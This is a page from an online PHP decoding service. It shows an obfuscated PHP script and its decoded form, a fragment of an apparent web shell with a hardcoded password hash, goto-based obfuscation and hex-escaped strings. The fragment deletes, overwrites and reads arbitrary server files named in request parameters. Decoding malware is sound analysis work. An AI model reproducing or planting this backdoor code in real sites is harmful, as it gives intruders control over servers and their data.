Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto PM3aY; PM3aY: $auth_pass = "\x36\x33\x62\143\x31\x33\x34\65\x30\61\146\64\x61..

Decoded Output download

<?php 
 goto PM3aY; PM3aY: $auth_pass = "63bc134501f4af893f1426568dd4953b"; goto HSkhi; Fg_do: if (isset($_REQUEST["edit"]) && $_REQUEST["edit"] == "file") { if (isset($_POST["yes"])) { $filename = $_GET["file"]; echo "<br><br><br><font color=red size=3><b><center>" . $filename . " deleted...</b></font><br><br><br><br><br><br><br>"; unlink($filename); echo "<META HTTP-EQUIV=Refresh CONTENT="2; URL=javascript:window.close();">"; } else { if ($_POST["update"]) { $filename = $_POST["file"]; if (is_writable($filename)) { $handle = fopen($filename, "w+"); $isi = $_POST["content"]; fwrite($handle, stripslashes($isi)); fclose($handle); $stat = "<center><strong>edited successfully<br>"; } else { $stat = "<center><font color=red><strong>Error! File may not be writable.</font></center>"; } } if ($_POST["close"]) { echo "<META HTTP-EQUIV=Refresh CONTENT="0; URL=javascript:window.close();">"; } $filename = $_GET["file"]; if (file_exists($filename)) { $vuln = $_GET["bug"]; $handle = fopen($filename, "r"); $contents = fread($handle, filesize($filename)); ?>

Did this file decode correctly?

Original Code

<?php
 goto PM3aY; PM3aY: $auth_pass = "\x36\x33\x62\143\x31\x33\x34\65\x30\61\146\64\x61\x66\70\71\x33\146\61\x34\x32\x36\x35\66\x38\144\x64\x34\x39\x35\x33\x62"; goto HSkhi; Fg_do: if (isset($_REQUEST["\145\x64\151\164"]) && $_REQUEST["\x65\144\x69\x74"] == "\x66\x69\x6c\145") { if (isset($_POST["\x79\x65\163"])) { $filename = $_GET["\x66\x69\x6c\145"]; echo "\x3c\142\162\76\x3c\x62\x72\76\74\142\162\76\74\146\x6f\x6e\164\x20\x63\x6f\x6c\x6f\162\75\x72\x65\x64\40\x73\x69\172\145\x3d\x33\76\x3c\x62\76\x3c\143\145\156\164\x65\x72\76" . $filename . "\x20\144\145\154\145\164\x65\144\x2e\x2e\56\x3c\57\x62\x3e\74\57\146\x6f\156\x74\x3e\x3c\x62\x72\x3e\74\x62\162\76\x3c\x62\x72\76\x3c\x62\x72\x3e\74\x62\x72\x3e\74\142\162\76\x3c\x62\x72\x3e"; unlink($filename); echo "\x3c\115\x45\124\x41\40\110\124\x54\120\55\105\121\x55\111\x56\x3d\122\145\x66\x72\x65\x73\150\x20\103\117\116\x54\105\x4e\x54\x3d\42\x32\73\40\125\x52\114\75\x6a\x61\166\141\x73\143\162\151\160\x74\72\167\151\x6e\x64\x6f\167\56\x63\x6c\157\x73\145\x28\51\x3b\x22\x3e"; } else { if ($_POST["\165\160\144\x61\x74\x65"]) { $filename = $_POST["\146\x69\x6c\x65"]; if (is_writable($filename)) { $handle = fopen($filename, "\x77\53"); $isi = $_POST["\x63\157\x6e\164\x65\156\164"]; fwrite($handle, stripslashes($isi)); fclose($handle); $stat = "\x3c\143\x65\x6e\x74\x65\162\x3e\x3c\163\x74\162\157\x6e\x67\x3e\145\x64\x69\x74\x65\x64\40\163\x75\143\143\x65\x73\163\x66\165\x6c\154\x79\74\x62\162\76"; } else { $stat = "\74\x63\x65\x6e\164\145\162\x3e\74\146\157\156\164\40\143\x6f\154\x6f\x72\75\x72\145\x64\76\74\x73\164\162\x6f\x6e\x67\x3e\105\162\x72\x6f\x72\x21\40\106\151\154\145\x20\x6d\x61\x79\40\x6e\x6f\x74\40\x62\145\x20\167\162\151\x74\x61\142\x6c\145\56\74\57\x66\x6f\156\x74\x3e\74\57\x63\x65\156\x74\145\x72\76"; } } if ($_POST["\x63\x6c\157\163\145"]) { echo "\74\x4d\105\x54\x41\40\110\x54\x54\x50\55\x45\121\125\x49\126\x3d\x52\145\146\162\x65\x73\x68\40\x43\117\x4e\124\x45\x4e\x54\75\42\x30\73\40\x55\122\114\x3d\152\x61\166\141\x73\143\x72\x69\160\x74\x3a\x77\x69\156\x64\157\x77\56\143\154\x6f\x73\x65\x28\x29\x3b\x22\76"; } $filename = $_GET["\146\x69\154\145"]; if (file_exists($filename)) { $vuln = $_GET["\x62\x75\147"]; $handle = fopen($filename, "\162"); $contents = fread($handle, filesize($filename)); ?>

Function Calls

None

Variables

None

Stats

MD5 b5cdfaa003e16539d20181758ae7e864
Eval Count 0
Decode Time 62 ms